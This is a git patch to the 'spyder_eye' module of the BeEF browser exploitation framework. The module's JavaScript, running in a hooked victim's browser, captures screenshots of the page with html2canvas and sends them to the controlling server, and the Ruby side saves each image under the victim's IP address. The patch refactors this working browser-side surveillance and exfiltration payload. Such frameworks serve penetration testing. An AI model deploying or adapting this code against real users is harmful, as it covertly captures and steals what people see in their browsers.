From 6cc5a822d7347718636f79b4dfab733f28f9a12e Mon Sep 17 00:00:00 2001 From: mgeeky Date: Fri, 15 Apr 2016 10:03:37 +0200 Subject: [PATCH] Applied some of @bcoles ideas regarding post_execute handler, also added beef.debug and parseInt base conversion --- modules/browser/spyder_eye/command.js | 15 +++++++++------ modules/browser/spyder_eye/module.rb | 5 +++-- 2 files changed, 12 insertions(+), 8 deletions(-) diff --git a/modules/browser/spyder_eye/command.js b/modules/browser/spyder_eye/command.js index 65ac52541..c32f017da 100644 --- a/modules/browser/spyder_eye/command.js +++ b/modules/browser/spyder_eye/command.js @@ -6,24 +6,27 @@ beef.execute(function() { - var takes = parseInt('<%= @repeat %>') || 1; - var delay = parseInt('<%= @delay %>') || 0; + var takes = parseInt('<%= @repeat %>', 10) || 1; + var delay = parseInt('<%= @delay %>', 10) || 0; - snap = function(num) { + snap = function() { try { html2canvas(document.body).then(function(canvas) { var d = canvas.toDataURL('image/png'); - beef.net.send('<%= @command_url %>', <%= @command_id %> + num, 'image=' + d ); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'image=' + d ); }); + + beef.debug('html2canvas hasn\'t failed, that\'s something'); } catch (e) { - beef.net.send('<%= @command_url %>', <%= @command_id %> + num, 'result=Obtaining snapshot failed: ' + e.message); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Obtaining snapshot failed: ' + e.message); } }; takeit = function() { for(var i = 0; i < takes; i++) { - setTimeout(snap(i), delay); + beef.debug('Taking ' + i + '. snapshot'); + setTimeout(snap, delay); } }; diff --git a/modules/browser/spyder_eye/module.rb b/modules/browser/spyder_eye/module.rb index 94c1a3409..2c9d6c69f 100644 --- a/modules/browser/spyder_eye/module.rb +++ b/modules/browser/spyder_eye/module.rb @@ -4,7 +4,6 @@ # See the file 'doc/COPYING' for copying permission # class Spyder_eye < BeEF::Core::Command - require 'base64' def self.options return [ @@ -24,7 +23,9 @@ class Spyder_eye < BeEF::Core::Command # save screenshot file begin - filename = "screenshot_#{Integer(@datastore['cid'])}.png" + timestamp = Time.now.getutc.to_s.gsub(/[ :]/, ' ' => '_', ':' => '-').chomp('_UTC') + ip = BeEF::Core::Models::BrowserDetails.get(session_id, 'IP') + filename = "screenshot_#{ip}_#{timestamp}_#{@datastore['cid']}.png" File.open(filename, 'wb') do |file| data = @datastore['results'].gsub(/^image=data:image\/(png|jpg);base64,/, "") file.write(Base64.decode64(data))